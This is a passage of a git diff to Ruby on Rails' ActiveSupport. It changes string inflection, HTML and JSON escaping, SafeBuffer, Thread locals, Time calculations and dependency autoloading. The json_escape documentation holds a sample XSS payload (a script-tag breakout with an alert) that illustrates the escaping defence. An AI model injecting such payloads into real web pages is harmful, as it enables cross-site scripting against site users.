+ def truncate_words(words_count, options = {})
+ sep = options[:separator] || /\s+/
+ sep = Regexp.escape(sep.to_s) unless Regexp === sep
+ if self =~ /\A((?:.+?#{sep}){#{words_count - 1}}.+?)#{sep}.*/m
+ $1 + (options[:omission] || '...')
+ else
+ dup
+ end
end
end
diff --git a/activesupport/lib/active_support/core_ext/string/indent.rb b/activesupport/lib/active_support/core_ext/string/indent.rb
index afc3032272..ce3a69cf5f 100644
--- a/activesupport/lib/active_support/core_ext/string/indent.rb
+++ b/activesupport/lib/active_support/core_ext/string/indent.rb
@@ -29,7 +29,7 @@ class String
# "foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
# "foo".indent(2, "\t") # => "\t\tfoo"
#
- # While +indent_string+ is tipically one space or tab, it may be any string.
+ # While +indent_string+ is typically one space or tab, it may be any string.
#
# The third argument, +indent_empty_lines+, is a flag that says whether
# empty lines should be indented. Default is false.
diff --git a/activesupport/lib/active_support/core_ext/string/inflections.rb b/activesupport/lib/active_support/core_ext/string/inflections.rb
index 341e2deec9..38d567c014 100644
--- a/activesupport/lib/active_support/core_ext/string/inflections.rb
+++ b/activesupport/lib/active_support/core_ext/string/inflections.rb
@@ -31,7 +31,7 @@ class String
def pluralize(count = nil, locale = :en)
locale = count if count.is_a?(Symbol)
if count == 1
- self
+ self.dup
else
ActiveSupport::Inflector.pluralize(self, locale)
end
@@ -41,7 +41,7 @@ class String
#
# If the optional parameter +locale+ is specified,
# the word will be singularized as a word of that language.
- # By default, this paramter is set to <tt>:en</tt>.
+ # By default, this parameter is set to <tt>:en</tt>.
# You must define your own inflection rules for languages other than English.
#
# 'posts'.singularize # => "post"
@@ -130,6 +130,8 @@ class String
#
# 'ActiveRecord::CoreExtensions::String::Inflections'.demodulize # => "Inflections"
# 'Inflections'.demodulize # => "Inflections"
+ # '::Inflections'.demodulize # => "Inflections"
+ # ''.demodulize # => ''
#
# See also +deconstantize+.
def demodulize
@@ -182,21 +184,24 @@ class String
#
# 'egg_and_hams'.classify # => "EggAndHam"
# 'posts'.classify # => "Post"
- #
- # Singular names are not handled correctly.
- #
- # 'business'.classify # => "Busines"
def classify
ActiveSupport::Inflector.classify(self)
end
- # Capitalizes the first word, turns underscores into spaces, and strips '_id'.
+ # Capitalizes the first word, turns underscores into spaces, and strips a
+ # trailing '_id' if present.
# Like +titleize+, this is meant for creating pretty output.
#
- # 'employee_salary' # => "Employee salary"
- # 'author_id' # => "Author"
- def humanize
- ActiveSupport::Inflector.humanize(self)
+ # The capitalization of the first word can be turned off by setting the
+ # optional parameter +capitalize+ to false.
+ # By default, this parameter is true.
+ #
+ # 'employee_salary'.humanize # => "Employee salary"
+ # 'author_id'.humanize # => "Author"
+ # 'author_id'.humanize(capitalize: false) # => "author"
+ # '_id'.humanize # => "Id"
+ def humanize(options = {})
+ ActiveSupport::Inflector.humanize(self, options)
end
# Creates a foreign key name from a class name.
diff --git a/activesupport/lib/active_support/core_ext/string/output_safety.rb b/activesupport/lib/active_support/core_ext/string/output_safety.rb
index 5f85cedcf5..ba92afd5f4 100644
--- a/activesupport/lib/active_support/core_ext/string/output_safety.rb
+++ b/activesupport/lib/active_support/core_ext/string/output_safety.rb
@@ -1,12 +1,14 @@
require 'erb'
require 'active_support/core_ext/kernel/singleton_class'
+require 'active_support/deprecation'
class ERB
module Util
HTML_ESCAPE = { '&' => '&amp;', '>' => '&gt;', '<' => '&lt;', '"' => '&quot;', "'" => '&#39;' }
- JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003E', '<' => '\u003C' }
- HTML_ESCAPE_ONCE_REGEXP = /["><']|&(?!([a-zA-Z]+|(#\d+));)/
- JSON_ESCAPE_REGEXP = /[&"><]/
+ JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003e', '<' => '\u003c', "\u2028" => '\u2028', "\u2029" => '\u2029' }
+ HTML_ESCAPE_REGEXP = /[&"'><]/
+ HTML_ESCAPE_ONCE_REGEXP = /["><']|&(?!([a-zA-Z]+|(#\d+)|(#[xX][\dA-Fa-f]+));)/
+ JSON_ESCAPE_REGEXP = /[\u2028\u2029&><]/u
# A utility method for escaping HTML tag characters.
# This method is also aliased as <tt>h</tt>.
@@ -17,12 +19,7 @@ class ERB
# puts html_escape('is a > 0 & a < 10?')
# # => is a &gt; 0 &amp; a &lt; 10?
def html_escape(s)
- s = s.to_s
- if s.html_safe?
- s
- else
- s.gsub(/[&"'><]/, HTML_ESCAPE).html_safe
- end
+ unwrapped_html_escape(s).html_safe
end
# Aliasing twice issues a warning "discarding old...". Remove first to avoid it.
@@ -34,6 +31,18 @@ class ERB
singleton_class.send(:remove_method, :html_escape)
module_function :html_escape
+ # HTML escapes strings but doesn't wrap them with an ActiveSupport::SafeBuffer.
+ # This method is not for public consumption! Seriously!
+ def unwrapped_html_escape(s) # :nodoc:
+ s = s.to_s
+ if s.html_safe?
+ s
+ else
+ s.gsub(HTML_ESCAPE_REGEXP, HTML_ESCAPE)
+ end
+ end
+ module_function :unwrapped_html_escape
+
# A utility method for escaping HTML without affecting existing escaped entities.
#
# html_escape_once('1 < 2 &amp; 3')
@@ -42,25 +51,64 @@ class ERB
# html_escape_once('&lt;&lt; Accept & Checkout')
# # => "&lt;&lt; Accept &amp; Checkout"
def html_escape_once(s)
- result = s.to_s.gsub(HTML_ESCAPE_ONCE_REGEXP) { |special| HTML_ESCAPE[special] }
+ result = s.to_s.gsub(HTML_ESCAPE_ONCE_REGEXP, HTML_ESCAPE)
s.html_safe? ? result.html_safe : result
end
module_function :html_escape_once
- # A utility method for escaping HTML entities in JSON strings
- # using \uXXXX JavaScript escape sequences for string literals:
+ # A utility method for escaping HTML entities in JSON strings. Specifically, the
+ # &, > and < characters are replaced with their equivalent unicode escaped form -
+ # \u0026, \u003e, and \u003c. The Unicode sequences \u2028 and \u2029 are also
+ # escaped as they are treated as newline characters in some JavaScript engines.
+ # These sequences have identical meaning as the original characters inside the
+ # context of a JSON string, so assuming the input is a valid and well-formed
+ # JSON value, the output will have equivalent meaning when parsed:
+ #
+ # json = JSON.generate({ name: "</script><script>alert('PWNED!!!')</script>"})
+ # # => "{\"name\":\"</script><script>alert('PWNED!!!')</script>\"}"
+ #
+ # json_escape(json)
+ # # => "{\"name\":\"\\u003C/script\\u003E\\u003Cscript\\u003Ealert('PWNED!!!')\\u003C/script\\u003E\"}"
+ #
+ # JSON.parse(json) == JSON.parse(json_escape(json))
+ # # => true
+ #
+ # The intended use case for this method is to escape JSON strings before including
+ # them inside a script tag to avoid XSS vulnerability:
#
- # json_escape('is a > 0 & a < 10?')
- # # => is a \u003E 0 \u0026 a \u003C 10?
+ # <script>
+ # var currentUser = <%= raw json_escape(current_user.to_json) %>;
+ # </script>
#
- # Note that after this operation is performed the output is not
- # valid JSON. In particular double quotes are removed:
+ # It is necessary to +raw+ the result of +json_escape+, so that quotation marks
+ # don't get converted to <tt>&quot;</tt> entities. +json_escape+ doesn't
+ # automatically flag the result as HTML safe, since the raw value is unsafe to
+ # use inside HTML attributes.
#
- # json_escape('{"name":"john","created_at":"2010-04-28T01:39:31Z","id":1}')
- # # => {name:john,created_at:2010-04-28T01:39:31Z,id:1}
+ # If you need to output JSON elsewhere in your HTML, you can just do something
+ # like this, as any unsafe characters (including quotation marks) will be
+ # automatically escaped for you:
+ #
+ # <div data-user-info="<%= current_user.to_json %>">...</div>
+ #
+ # WARNING: this helper only works with valid JSON. Using this on non-JSON values
+ # will open up serious XSS vulnerabilities. For example, if you replace the
+ # +current_user.to_json+ in the example above with user input instead, the browser
+ # will happily eval() that string as JavaScript.
+ #
+ # The escaping performed in this method is identical to those performed in the
+ # Active Support JSON encoder when +ActiveSupport.escape_html_entities_in_json+ is
+ # set to true. Because this transformation is idempotent, this helper can be
+ # applied even if +ActiveSupport.escape_html_entities_in_json+ is already true.
+ #
+ # Therefore, when you are unsure if +ActiveSupport.escape_html_entities_in_json+
+ # is enabled, or if you are unsure where your JSON string originated from, it
+ # is recommended that you always apply this helper (other libraries, such as the
+ # JSON gem, do not provide this kind of protection by default; also some gems
+ # might override +to_json+ to bypass Active Support's encoder).
def json_escape(s)
- result = s.to_s.gsub(JSON_ESCAPE_REGEXP) { |special| JSON_ESCAPE[special] }
+ result = s.to_s.gsub(JSON_ESCAPE_REGEXP, JSON_ESCAPE)
s.html_safe? ? result.html_safe : result
end
@@ -84,7 +132,7 @@ module ActiveSupport #:nodoc:
class SafeBuffer < String
UNSAFE_STRING_METHODS = %w(
capitalize chomp chop delete downcase gsub lstrip next reverse rstrip
- slice squeeze strip sub succ swapcase tr tr_s upcase prepend
+ slice squeeze strip sub succ swapcase tr tr_s upcase
)
alias_method :original_concat, :concat
@@ -102,7 +150,7 @@ module ActiveSupport #:nodoc:
else
if html_safe?
new_safe_buffer = super
- new_safe_buffer.instance_eval { @html_safe = true }
+ new_safe_buffer.instance_variable_set :@html_safe, true
new_safe_buffer
else
to_str[*args]
@@ -130,28 +178,32 @@ module ActiveSupport #:nodoc:
end
def concat(value)
- if !html_safe? || value.html_safe?
- super(value)
- else
- super(ERB::Util.h(value))
- end
+ super(html_escape_interpolated_argument(value))
end
alias << concat
+ def prepend(value)
+ super(html_escape_interpolated_argument(value))
+ end
+
+ def prepend!(value)
+ ActiveSupport::Deprecation.deprecation_warning "ActiveSupport::SafeBuffer#prepend!", :prepend
+ prepend value
+ end
+
def +(other)
dup.concat(other)
end
def %(args)
- args = Array(args).map do |arg|
- if !html_safe? || arg.html_safe?
- arg
- else
- ERB::Util.h(arg)
- end
+ case args
+ when Hash
+ escaped_args = Hash[args.map { |k,arg| [k, html_escape_interpolated_argument(arg)] }]
+ else
+ escaped_args = Array(args).map { |arg| html_escape_interpolated_argument(arg) }
end
- self.class.new(super(args))
+ self.class.new(super(escaped_args))
end
def html_safe?
@@ -171,7 +223,7 @@ module ActiveSupport #:nodoc:
end
UNSAFE_STRING_METHODS.each do |unsafe_method|
- if 'String'.respond_to?(unsafe_method)
+ if unsafe_method.respond_to?(unsafe_method)
class_eval <<-EOT, __FILE__, __LINE__ + 1
def #{unsafe_method}(*args, &block) # def capitalize(*args, &block)
to_str.#{unsafe_method}(*args, &block) # to_str.capitalize(*args, &block)
@@ -184,10 +236,22 @@ module ActiveSupport #:nodoc:
EOT
end
end
+
+ private
+
+ def html_escape_interpolated_argument(arg)
+ (!html_safe? || arg.html_safe?) ? arg :
+ arg.to_s.gsub(ERB::Util::HTML_ESCAPE_REGEXP, ERB::Util::HTML_ESCAPE)
+ end
end
end
class String
+ # Marks a string as trusted safe. It will be inserted into HTML with no
+ # additional escaping performed. It is your responsibilty to ensure that the
+ # string contains no malicious content. This method is equivalent to the
+ # `raw` helper in views. It is recommended that you use `sanitize` instead of
+ # this method. It should never be called on user input.
def html_safe
ActiveSupport::SafeBuffer.new(self)
end
diff --git a/activesupport/lib/active_support/core_ext/string/xchar.rb b/activesupport/lib/active_support/core_ext/string/xchar.rb
deleted file mode 100644
index f9a5b4fb64..0000000000
--- a/activesupport/lib/active_support/core_ext/string/xchar.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-begin
- # See http://fast-xs.rubyforge.org/ by Eric Wong.
- # Also included with hpricot.
- require 'fast_xs'
-rescue LoadError
- # fast_xs extension unavailable
-else
- begin
- require 'builder'
- rescue LoadError
- # builder demands the first shot at defining String#to_xs
- end
-
- class String
- alias_method :original_xs, :to_xs if method_defined?(:to_xs)
- alias_method :to_xs, :fast_xs
- end
-end
diff --git a/activesupport/lib/active_support/core_ext/string/zones.rb b/activesupport/lib/active_support/core_ext/string/zones.rb
new file mode 100644
index 0000000000..510c884c18
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/zones.rb
@@ -0,0 +1,14 @@
+require 'active_support/core_ext/string/conversions'
+require 'active_support/core_ext/time/zones'
+
+class String
+ # Converts String to a TimeWithZone in the current zone if Time.zone or Time.zone_default
+ # is set, otherwise converts String to a Time via String#to_time
+ def in_time_zone(zone = ::Time.zone)
+ if zone
+ ::Time.find_zone!(zone).parse(self)
+ else
+ to_time
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/thread.rb b/activesupport/lib/active_support/core_ext/thread.rb
new file mode 100644
index 0000000000..4cd6634558
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/thread.rb
@@ -0,0 +1,86 @@
+class Thread
+ LOCK = Mutex.new # :nodoc:
+
+ # Returns the value of a thread local variable that has been set. Note that
+ # these are different than fiber local values.
+ #
+ # Thread local values are carried along with threads, and do not respect
+ # fibers. For example:
+ #
+ # Thread.new {
+ # Thread.current.thread_variable_set("foo", "bar") # set a thread local
+ # Thread.current["foo"] = "bar" # set a fiber local
+ #
+ # Fiber.new {
+ # Fiber.yield [
+ # Thread.current.thread_variable_get("foo"), # get the thread local
+ # Thread.current["foo"], # get the fiber local
+ # ]
+ # }.resume
+ # }.join.value # => ['bar', nil]
+ #
+ # The value <tt>"bar"</tt> is returned for the thread local, where +nil+ is returned
+ # for the fiber local. The fiber is executed in the same thread, so the
+ # thread local values are available.
+ def thread_variable_get(key)
+ _locals[key.to_sym]
+ end
+
+ # Sets a thread local with +key+ to +value+. Note that these are local to
+ # threads, and not to fibers. Please see Thread#thread_variable_get for
+ # more information.
+ def thread_variable_set(key, value)
+ _locals[key.to_sym] = value
+ end
+
+ # Returns an array of the names of the thread-local variables (as Symbols).
+ #
+ # thr = Thread.new do
+ # Thread.current.thread_variable_set(:cat, 'meow')
+ # Thread.current.thread_variable_set("dog", 'woof')
+ # end
+ # thr.join # => #<Thread:0x401b3f10 dead>
+ # thr.thread_variables # => [:dog, :cat]
+ #
+ # Note that these are not fiber local variables. Please see Thread#thread_variable_get
+ # for more details.
+ def thread_variables
+ _locals.keys
+ end
+
+ # Returns <tt>true</tt> if the given string (or symbol) exists as a
+ # thread-local variable.
+ #
+ # me = Thread.current
+ # me.thread_variable_set(:oliver, "a")
+ # me.thread_variable?(:oliver) # => true
+ # me.thread_variable?(:stanley) # => false
+ #
+ # Note that these are not fiber local variables. Please see Thread#thread_variable_get
+ # for more details.
+ def thread_variable?(key)
+ _locals.has_key?(key.to_sym)
+ end
+
+ # Freezes the thread so that thread local variables cannot be set via
+ # Thread#thread_variable_set, nor can fiber local variables be set.
+ #
+ # me = Thread.current
+ # me.freeze
+ # me.thread_variable_set(:oliver, "a") #=> RuntimeError: can't modify frozen thread locals
+ # me[:oliver] = "a" #=> RuntimeError: can't modify frozen thread locals
+ def freeze
+ _locals.freeze
+ super
+ end
+
+ private
+
+ def _locals
+ if defined?(@_locals)
+ @_locals
+ else
+ LOCK.synchronize { @_locals ||= {} }
+ end
+ end
+end unless Thread.instance_methods.include?(:thread_variable_set)
diff --git a/activesupport/lib/active_support/core_ext/time/calculations.rb b/activesupport/lib/active_support/core_ext/time/calculations.rb
index 46c9f05c15..ab8307429a 100644
--- a/activesupport/lib/active_support/core_ext/time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/time/calculations.rb
@@ -25,36 +25,27 @@ class Time
end
end
- # Returns a new Time if requested year can be accommodated by Ruby's Time class
- # (i.e., if year is within either 1970..2038 or 1902..2038, depending on system architecture);
- # otherwise returns a DateTime.
- def time_with_datetime_fallback(utc_or_local, year, month=1, day=1, hour=0, min=0, sec=0, usec=0)
- time = ::Time.send(utc_or_local, year, month, day, hour, min, sec, usec)
-
- # This check is needed because Time.utc(y) returns a time object in the 2000s for 0 <= y <= 138.
- if time.year == year
- time
- else
- ::DateTime.civil_from_format(utc_or_local, year, month, day, hour, min, sec)
- end
- rescue
- ::DateTime.civil_from_format(utc_or_local, year, month, day, hour, min, sec)
+ # Returns <tt>Time.zone.now</tt> when <tt>Time.zone</tt> or <tt>config.time_zone</tt> are set, otherwise just returns <tt>Time.now</tt>.
+ def current
+ ::Time.zone ? ::Time.zone.now : ::Time.now
end
- # Wraps class method +time_with_datetime_fallback+ with +utc_or_local+ set to <tt>:utc</tt>.
- def utc_time(*args)
- time_with_datetime_fallback(:utc, *args)
- end
+ # Layers additional behavior on Time.at so that ActiveSupport::TimeWithZone and DateTime
+ # instances can be used when called with a single argument
+ def at_with_coercion(*args)
+ return at_without_coercion(*args) if args.size != 1
- # Wraps class method +time_with_datetime_fallback+ with +utc_or_local+ set to <tt>:local</tt>.
- def local_time(*args)
- time_with_datetime_fallback(:local, *args)
- end
+ # Time.at can be called with a time or numerical value
+ time_or_number = args.first
- # Returns <tt>Time.zone.now</tt> when <tt>Time.zone</tt> or <tt>config.time_zone</tt> are set, otherwise just returns <tt>Time.now</tt>.
- def current
- ::Time.zone ? ::Time.zone.now : ::Time.now
+ if time_or_number.is_a?(ActiveSupport::TimeWithZone) || time_or_number.is_a?(DateTime)
+ at_without_coercion(time_or_number.to_f).getlocal
+ else
+ at_without_coercion(time_or_number)
+ end
end
+ alias_method :at_without_coercion, :at
+ alias_method :at, :at_with_coercion
end
# Seconds since midnight: Time.now.seconds_since_midnight
@@ -73,11 +64,12 @@ class Time
# Returns a new Time where one or more of the elements have been changed according
# to the +options+ parameter. The time options (<tt>:hour</tt>, <tt>:min</tt>,
- # <tt>:sec</tt>, <tt>:usec</tt>) reset cascadingly, so if only the hour is passed,
- # then minute, sec, and usec is set to 0. If the hour and minute is passed, then
- # sec and usec is set to 0. The +options+ parameter takes a hash with any of these
- # keys: <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:min</tt>,
- # <tt>:sec</tt>, <tt>:usec</tt>.
+ # <tt>:sec</tt>, <tt>:usec</tt>, <tt>:nsec</tt>) reset cascadingly, so if only
+ # the hour is passed, then minute, sec, usec and nsec is set to 0. If the hour
+ # and minute is passed, then sec, usec and nsec is set to 0. The +options+
+ # parameter takes a hash with any of these keys: <tt>:year</tt>, <tt>:month</tt>,
+ # <tt>:day</tt>, <tt>:hour</tt>, <tt>:min</tt>, <tt>:sec</tt>, <tt>:usec</tt>
+ # <tt>:nsec</tt>. Path either <tt>:usec</tt> or <tt>:nsec</tt>, not both.
#
# Time.new(2012, 8, 29, 22, 35, 0).change(day: 1) # => Time.new(2012, 8, 1, 22, 35, 0)
# Time.new(2012, 8, 29, 22, 35, 0).change(year: 1981, day: 1) # => Time.new(1981, 8, 1, 22, 35, 0)
@@ -89,21 +81,29 @@ class Time
new_hour = options.fetch(:hour, hour)
new_min = options.fetch(:min, options[:hour] ? 0 : min)
new_sec = options.fetch(:sec, (options[:hour] || options[:min]) ? 0 : sec)
- new_usec = options.fetch(:usec, (options[:hour] || options[:min] || options[:sec]) ? 0 : Rational(nsec, 1000))
+
+ if new_nsec = options[:nsec]
+ raise ArgumentError, "Can't change both :nsec and :usec at the same time: #{options.inspect}" if options[:usec]
+ new_usec = Rational(new_nsec, 1000)
+ else
+ new_usec = options.fetch(:usec, (options[:hour] || options[:min] || options[:sec]) ? 0 : Rational(nsec, 1000))
+ end
if utc?
::Time.utc(new_year, new_month, new_day, new_hour, new_min, new_sec, new_usec)
elsif zone
::Time.local(new_year, new_month, new_day, new_hour, new_min, new_sec, new_usec)
else
+ raise ArgumentError, 'argument out of range' if new_usec > 999999
::Time.new(new_year, new_month, new_day, new_hour, new_min, new_sec + (new_usec.to_r / 1000000), utc_offset)
end
end
- # Uses Date to provide precise Time calculations for years, months, and days.
- # The +options+ parameter takes a hash with any of these keys: <tt>:years</tt>,
- # <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>,
- # <tt>:minutes</tt>, <tt>:seconds</tt>.
+ # Uses Date to provide precise Time calculations for years, months, and days
+ # according to the proleptic Gregorian calendar. The +options+ parameter
+ # takes a hash with any of these keys: <tt>:years</tt>, <tt>:months</tt>,
+ # <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>, <tt>:minutes</tt>,
+ # <tt>:seconds</tt>.
def advance(options)
unless options[:weeks].nil?
options[:weeks], partial_weeks = options[:weeks].divmod(1)
@@ -116,6 +116,7 @@ class Time
end
d = to_date.advance(options)
+ d = d.gregorian if d.julian?
time_advanced_by_date = change(:year => d.year, :month => d.month, :day => d.day)
seconds_to_advance = \
options.fetch(:seconds, 0) +
@@ -151,6 +152,16 @@ class Time
alias :at_midnight :beginning_of_day
alias :at_beginning_of_day :beginning_of_day
+ # Returns a new Time representing the middle of the day (12:00)
+ def middle_of_day
+ change(:hour => 12)
+ end
+ alias :midday :middle_of_day
+ alias :noon :middle_of_day
+ alias :at_midday :middle_of_day
+ alias :at_noon :middle_of_day
+ alias :at_middle_of_day :middle_of_day
+
# Returns a new Time representing the end of the day, 23:59:59.999999 (.999999999 in ruby1.9)
def end_of_day
change(
@@ -160,6 +171,7 @@ class Time
:usec => Rational(999999999, 1000)
)
end
+ alias :at_end_of_day :end_of_day
# Returns a new Time representing the start of the hour (x:00)
def beginning_of_hour
@@ -175,31 +187,26 @@ class Time
:usec => Rational(999999999, 1000)
)
end
+ alias :at_end_of_hour :end_of_hour
- # Returns a Range representing the whole day of the current time.
- def all_day
- beginning_of_day..end_of_day
- end
-
- # Returns a Range representing the whole week of the current time.
- # Week starts on start_day, default is <tt>Date.week_start</tt> or <tt>config.week_start</tt> when set.
- def all_week(start_day = Date.beginning_of_week)
- beginning_of_week(start_day)..end_of_week(start_day)
- end
-
- # Returns a Range representing the whole month of the current time.
- def all_month
- beginning_of_month..end_of_month
+ # Returns a new Time representing the start of the minute (x:xx:00)
+ def beginning_of_minute
+ change(:sec => 0)
end
+ alias :at_beginning_of_minute :beginning_of_minute
- # Returns a Range representing the whole quarter of the current time.
- def all_quarter
- beginning_of_quarter..end_of_quarter
+ # Returns a new Time representing the end of the minute, x:xx:59.999999 (.999999999 in ruby1.9)
+ def end_of_minute
+ change(
+ :sec => 59,
+ :usec => Rational(999999999, 1000)
+ )
end
+ alias :at_end_of_minute :end_of_minute
- # Returns a Range representing the whole year of the current time.
- def all_year
- beginning_of_year..end_of_year
+ # Returns a Range representing the whole day of the current time.
+ def all_day
+ beginning_of_day..end_of_day
end
def plus_with_duration(other) #:nodoc:
diff --git a/activesupport/lib/active_support/core_ext/time/conversions.rb b/activesupport/lib/active_support/core_ext/time/conversions.rb
index 48654eb1cc..dbf1f2f373 100644
--- a/activesupport/lib/active_support/core_ext/time/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/time/conversions.rb
@@ -16,10 +16,11 @@ class Time
:rfc822 => lambda { |time|
offset_format = time.formatted_offset(false)
time.strftime("%a, %d %b %Y %H:%M:%S #{offset_format}")
- }
+ },
+ :iso8601 => lambda { |time| time.iso8601 }
}
- # Converts to a formatted string. See DATE_FORMATS for builtin formats.
+ # Converts to a formatted string. See DATE_FORMATS for built-in formats.
#
# This method is aliased to <tt>to_s</tt>.
#
@@ -34,6 +35,7 @@ class Time
# time.to_formatted_s(:long) # => "January 18, 2007 06:10"
# time.to_formatted_s(:long_ordinal) # => "January 18th, 2007 06:10"
# time.to_formatted_s(:rfc822) # => "Thu, 18 Jan 2007 06:10:17 -0600"
+ # time.to_formatted_s(:iso8601) # => "2007-01-18T06:10:17-06:00"
#
# == Adding your own time formats to +to_formatted_s+
# You can add your own formats to the Time::DATE_FORMATS hash.
diff --git a/activesupport/lib/active_support/core_ext/time/zones.rb b/activesupport/lib/active_support/core_ext/time/zones.rb
index 796c5f9805..64c3b7201b 100644
--- a/activesupport/lib/active_support/core_ext/time/zones.rb
+++ b/activesupport/lib/active_support/core_ext/time/zones.rb
@@ -1,8 +1,9 @@
require 'active_support/time_with_zone'
+require 'active_support/core_ext/time/acts_like'
+require 'active_support/core_ext/date_and_time/zones'
class Time
- @zone_default = nil
-
+ include DateAndTime::Zones
class << self
attr_accessor :zone_default
@@ -75,24 +76,4 @@ class Time
find_zone!(time_zone) rescue nil
end
end
-
- # Returns the simultaneous time in <tt>Time.zone</tt>.
- #
- # Time.zone = 'Hawaii' # => 'Hawaii'
- # Time.utc(2000).in_time_zone # => Fri, 31 Dec 1999 14:00:00 HST -10:00
- #
- # This method is similar to Time#localtime, except that it uses <tt>Time.zone</tt> as the local zone
- # instead of the operating system's time zone.
- #
- # You can also pass in a TimeZone instance or string that identifies a TimeZone as an argument,
- # and the conversion will be based on that zone instead of <tt>Time.zone</tt>.
- #
- # Time.utc(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
- def in_time_zone(zone = ::Time.zone)
- if zone
- ActiveSupport::TimeWithZone.new(utc? ? self : getutc, ::Time.find_zone!(zone))
- else
- self
- end
- end
end
diff --git a/activesupport/lib/active_support/dependencies.rb b/activesupport/lib/active_support/dependencies.rb
index efd351d741..ff8c0fd310 100644
--- a/activesupport/lib/active_support/dependencies.rb
+++ b/activesupport/lib/active_support/dependencies.rb
@@ -1,5 +1,6 @@
require 'set'
require 'thread'
+require 'thread_safe'
require 'pathname'
require 'active_support/core_ext/module/aliasing'
require 'active_support/core_ext/module/attribute_accessors'
@@ -7,6 +8,7 @@ require 'active_support/core_ext/module/introspection'
require 'active_support/core_ext/module/anonymous'
require 'active_support/core_ext/module/qualified_const'
require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/kernel/reporting'
require 'active_support/core_ext/load_error'
require 'active_support/core_ext/name_error'
require 'active_support/core_ext/string/starts_ends_with'
@@ -28,6 +30,10 @@ module ActiveSupport #:nodoc:
mattr_accessor :loaded
self.loaded = Set.new
+ # Stack of files being loaded.
+ mattr_accessor :loading
+ self.loading = []
+
# Should we load files or require them?
mattr_accessor :mechanism
self.mechanism = ENV['NO_RELOAD'] ? :require : :load
@@ -174,14 +180,23 @@ module ActiveSupport #:nodoc:
end
def const_missing(const_name)
- # The interpreter does not pass nesting information, and in the
- # case of anonymous modules we cannot even make the trade-off of
- # assuming their name reflects the nesting. Resort to Object as
- # the only meaningful guess we can make.
- from_mod = anonymous? ? ::Object : self
+ from_mod = anonymous? ? guess_for_anonymous(const_name) : self
Dependencies.load_missing_constant(from_mod, const_name)
end
+ # We assume that the name of the module reflects the nesting
+ # (unless it can be proven that is not the case) and the path to the file
+ # that defines the constant. Anonymous modules cannot follow these
+ # conventions and therefore we assume that the user wants to refer to a
+ # top-level constant.
+ def guess_for_anonymous(const_name)
+ if Object.const_defined?(const_name)
+ raise NameError.new "#{const_name} cannot be autoloaded from an anonymous class or module", const_name
+ else
+ Object
+ end
+ end
+
def unloadable(const_desc = self)
super(const_desc)
end
@@ -190,16 +205,29 @@ module ActiveSupport #:nodoc:
# Object includes this module.
module Loadable #:nodoc:
def self.exclude_from(base)
- base.class_eval { define_method(:load, Kernel.instance_method(:load)) }
+ base.class_eval do
+ define_method(:load, Kernel.instance_method(:load))
+ private :load
+ end
end
def require_or_load(file_name)
Dependencies.require_or_load(file_name)
end
+ # Interprets a file using <tt>mechanism</tt> and marks its defined
+ # constants as autoloaded. <tt>file_name</tt> can be either a string or
+ # respond to <tt>to_path</tt>.
+ #
+ # Use this method in code that absolutely needs a certain constant to be
+ # defined at that point. A typical use case is to make constant name
+ # resolution deterministic for constants with the same relative name in
+ # different namespaces whose evaluation would depend on load order
+ # otherwise.
def require_dependency(file_name, message = "No such file to load -- %s")
+ file_name = file_name.to_path if file_name.respond_to?(:to_path)
unless file_name.is_a?(String)
- raise ArgumentError, "the file name must be a String -- you passed #{file_name.inspect}"
+ raise ArgumentError, "the file name must either be a String or implement #to_path -- you passed #{file_name.inspect}"
end
Dependencies.depend_on(file_name, message)
@@ -212,22 +240,10 @@ module ActiveSupport #:nodoc:
yield
end
rescue Exception => exception # errors from loading file
- exception.blame_file! file
+ exception.blame_file! file if exception.respond_to? :blame_file!
raise
end
- def load(file, wrap = false)
- result = false
- load_dependency(file) { result = super }
- result
- end
-
- def require(file)
- result = false
- load_dependency(file) { result = super }
- result
- end
-
# Mark the given constant as unloadable. Unloadable constants are removed
# each time dependencies are cleared.
#
@@ -244,6 +260,20 @@ module ActiveSupport #:nodoc:
def unloadable(const_desc)
Dependencies.mark_for_unload const_desc
end
+
+ private
+
+ def load(file, wrap = false)
+ result = false
+ load_dependency(file) { result = super }
+ result
+ end
+
+ def require(file)
+ result = false
+ load_dependency(file) { result = super }
+ result
+ end
end
# Exception file-blaming.
@@ -296,6 +326,7 @@ module ActiveSupport #:nodoc:
def clear
log_call
loaded.clear
+ loading.clear
remove_unloadable_constants!
end
@@ -308,6 +339,7 @@ module ActiveSupport #:nodoc:
# Record that we've seen this file *before* loading it to avoid an
# infinite loop with mutual dependencies.
loaded << expanded
+ loading << expanded
begin
if load?
@@ -330,6 +362,8 @@ module ActiveSupport #:nodoc:
rescue Exception
loaded.delete expanded
raise
+ ensure
+ loading.pop
end
# Record history *after* loading so first load gets warnings.
@@ -387,7 +421,8 @@ module ActiveSupport #:nodoc:
end
def load_once_path?(path)
- # to_s works around a ruby1.9 issue where #starts_with?(Pathname) will always return false
+ # to_s works around a ruby1.9 issue where String#starts_with?(Pathname)
+ # will raise a TypeError: no implicit conversion of Pathname into String
autoload_once_paths.any? { |base| path.starts_with? base.to_s }
end
@@ -415,7 +450,7 @@ module ActiveSupport #:nodoc:
def load_file(path, const_paths = loadable_constants_for_path(path))
log_call path, const_paths
const_paths = [const_paths].compact unless const_paths.is_a? Array
- parent_paths = const_paths.collect { |const_path| const_path[/.*(?=::)/] || :Object }
+ parent_paths = const_paths.collect { |const_path| const_path[/.*(?=::)/] || ::Object }
result = nil
newly_defined_paths = new_constants_in(*parent_paths) do
@@ -444,8 +479,6 @@ module ActiveSupport #:nodoc:
raise ArgumentError, "A copy of #{from_mod} has been removed from the module tree but is still active!"
end
- raise NameError, "#{from_mod} is not missing constant #{const_name}!" if from_mod.const_defined?(const_name, false)
-
qualified_name = qualified_name_for from_mod, const_name
path_suffix = qualified_name.underscore
